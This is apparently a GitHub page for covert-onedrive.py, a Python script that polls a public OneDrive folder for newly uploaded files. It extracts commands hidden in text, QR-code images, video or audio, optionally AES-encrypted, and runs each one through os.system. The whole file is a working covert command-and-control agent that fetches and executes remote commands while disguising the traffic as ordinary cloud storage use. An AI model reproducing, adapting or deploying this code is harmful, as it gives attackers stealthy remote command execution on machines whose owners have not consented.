-
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathcovert-onedrive.py
executable file
·144 lines (127 loc) · 5.82 KB
/
covert-onedrive.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import urllib.parse as urlparse
import read_file
import requests
import datetime
import config
import json
import time
import sys
import os
debug = config.debug
def parse_vals(url):
redir_url = requests.get(url, allow_redirects=True).url
parsed = urlparse.urlparse(redir_url)
params = urlparse.parse_qs(parsed.query)
folder_id = params['resid'][0].split("!")[0]
first_item_id = params['resid'][0].split("!")[1]
authkey = params['authkey'][0]
return folder_id, first_item_id, authkey
def get_next_id(folder_id, first_item_id, authkey):
max_files_to_check = 30
for i in range(1,max_files_to_check):
item_id = str(int(first_item_id)+i)
folder_item_id = folder_id+"!"+item_id
s_url = "https://api.onedrive.com/v1.0/drives/"+folder_id+"/items/"+folder_item_id+"?select=id%2C%40content.downloadUrl&authkey="+authkey
json_file_data = json.loads(requests.get(s_url).content)
if "error" not in json_file_data:
file_url = json_file_data['@content.downloadUrl']
if debug: print("[+] File with id %s download url: %s"%(item_id, file_url))
else:
next_id = str(int(first_item_id)+i)
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] It does not exist the item with id %s"%(now.hour,now.minute,now.second,str(next_id)))
return next_id
def download_file(file_url, downloaded_file_path):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] New file! Downloading to: %s"%(now.hour,now.minute,now.second,downloaded_file_path))
with requests.get(file_url, stream=True) as r:
r.raise_for_status()
with open(downloaded_file_path, 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
f.write(chunk)
def analyze(downloaded_file, temp_folder):
data_type = config.data_type
commands = []
if data_type == "text" or data_type == "text_encrypted":
if not downloaded_file.endswith(".txt"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".txt"))
else:
commands = read_file.read_text(data_type, downloaded_file)
elif data_type == "image" or data_type == "image_encrypted":
if not downloaded_file.endswith(".png"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".png"))
else:
if data_type == "image":
commands = read_file.read_image("qr", downloaded_file)
elif data_type == "image_encrypted":
commands = read_file.read_image("qr_aes", downloaded_file)
elif data_type == "video" or data_type == "video_encrypted":
if not downloaded_file.endswith(".avi"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".avi"))
else:
if data_type == "video":
commands = read_file.read_video("qr", downloaded_file, temp_folder)
elif data_type == "video_encrypted":
commands = read_file.read_video("qr_aes", downloaded_file, temp_folder)
elif data_type == "audio" or data_type == "audio_encrypted":
if not downloaded_file.endswith(".wav"):
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".wav"))
else:
commands = read_file.read_audio(data_type, downloaded_file)
else:
if debug: print("[%02d:%02d:%02d] Unexpected data_type value: %s"%(now.hour,now.minute,now.second,data_type))
return commands
def execute_commands(commands):
for cmd_ in commands:
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Command: %s"%(now.hour,now.minute,now.second,cmd_))
os.system(cmd_)
def wait_for_upload(folder_id, next_id, authkey, temp_folder):
delay_seconds = config.delay_seconds
data_type = config.data_type
if data_type == "text" or data_type == "text_encrypted":
downloaded_file = temp_folder + "/test.txt"
elif data_type == "image" or data_type == "image_encrypted":
downloaded_file = temp_folder + "/test.png"
elif data_type == "video" or data_type == "video_encrypted":
downloaded_file = temp_folder + "/test.avi"
elif data_type == "audio" or data_type == "audio_encrypted":
downloaded_file = temp_folder + "/test.wav"
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds))
while True:
time.sleep(delay_seconds)
folder_item_id = folder_id+"!"+next_id
s_url = "https://api.onedrive.com/v1.0/drives/"+folder_id+"/items/"+folder_item_id+"?select=id%2C%40content.downloadUrl&authkey="+authkey
if debug: print("[%02d:%02d:%02d] Checking url: %s"%(now.hour,now.minute,now.second,s_url))
json_file_data = json.loads(requests.get(s_url).content)
if "error" not in json_file_data:
file_url = json_file_data['@content.downloadUrl']
download_file(file_url, downloaded_file)
commands = analyze(downloaded_file, temp_folder)
execute_commands(commands)
next_id = str(int(next_id)+1)
os.remove(downloaded_file)
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds))
else:
now = datetime.datetime.now()
if debug: print("[%02d:%02d:%02d] No new file uploaded. Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds))
def main():
temp_folder = "."
if len(sys.argv) == 2:
url = sys.argv[1]
else:
url = config.onedrive_folder
if url == "":
print("[-] ERROR: It is necessary to use the OneDrive public folder as input parameter or add the value to the parameter 'onedrive_folder' in config.py")
sys.exit(1)
folder_id, first_item_id, authkey = parse_vals(url)
next_id = get_next_id(folder_id, first_item_id, authkey)
wait_for_upload(folder_id, next_id, authkey, temp_folder)
if __name__== "__main__":
main()